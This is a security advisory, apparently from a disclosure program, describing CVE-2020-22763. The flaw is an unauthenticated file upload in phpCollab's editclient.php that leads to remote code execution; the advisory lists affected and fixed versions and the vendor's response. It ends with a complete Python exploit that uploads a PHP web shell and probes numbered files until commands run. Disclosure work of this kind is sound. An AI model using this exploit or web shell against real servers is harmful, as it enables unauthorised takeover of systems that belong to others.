TL;DR
Find out how a vulnerability in phpCollab allows an unauthenticated user to reach RCE abilities and run code as ‘www-data’.
Vulnerability Summary
phpCollab is “a project management and collaboration system. Features include: team/client sites, task assignment, document repository/workflow, gantt charts, discussions, calendar, notifications, support requests, weblog newsdesk, invoicing, and many other tools”.
A vulnerability in phpCollab allows unauthenticated users to exploit the vulnerability through the file upload feature, and perform Remote Code Execution.
CVE
CVE-2020-22763
Credit
An independent, Trung Le, Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Versions
phpCollab 2.7.2 and prior
Fixed Versions
phpCollab 2.8.2
Vendor Response
“We released v2.8.2 a few days ago, which included the fixes that resolve the vulnerability you reported.
If you have found that the vulnerability is still present, or have found something else, please let us know and we will investigate it.
Thanks for helping test this issue”.
Vulnerability Analysis
phpCollab allows uploading content by admin whenever a new client is created. This is done through the editclient.php page.
Due to a mistake this page however appears to lacks basic tests for whether or not the user has logged on to the system when accessed directly and a POST request is used.
This allows a remote attacker to upload files to the server, which he can then subsequently, access.
By uploading a PHP file to the server which contains code execution commands, a remote user can run code without requiring to be logged on to the phpCollab application.
NOTE: Because the phpCollab application stores the files in a sequential number – based on how many previous uploads have occurred – a subsequent call to iterate through all possible files is required.
Demo

Exploit
#!/usr/bin/python3 import requests import sys import logging try: import http.client as http_client except ImportError: # Python 2 import httplib as http_client # http_client.HTTPConnection.debuglevel = 1 logging.basicConfig() # logging.getLogger().setLevel(logging.DEBUG) # requests_log = logging.getLogger("requests.packages.urllib3") # requests_log.setLevel(logging.DEBUG) # requests_log.propagate = True if len(sys.argv) < 2: print("Please provide a base URL") sys.exit() url = sys.argv[1] print("Attacking URL: {}".format(url)) payload = """<?php system($_GET['cmd']) ?>""" data = { 'owner' : '1', 'name' : '''5aaa()<>/"';''', } files = {'upload' : ( 'something.php', payload), } headers = { } print("Uploading shell file") response = requests.post( '{}clients/editclient.php?action=add&'.format(url), verify=False, files = files, data = data, headers = headers) # print("body: {}".format(response.request.body)) # print("headers: {}".format(response.request.headers)) print("Looking for our shell file") for number in range(1, 50): shell_url = '{}logos_clients/{}.php?cmd=id'.format(url, number) response = requests.get(shell_url) if response.status_code == 200 and 'uid=' in response.text: print("Command shell found at: {}".format(shell_url)) sys.exit()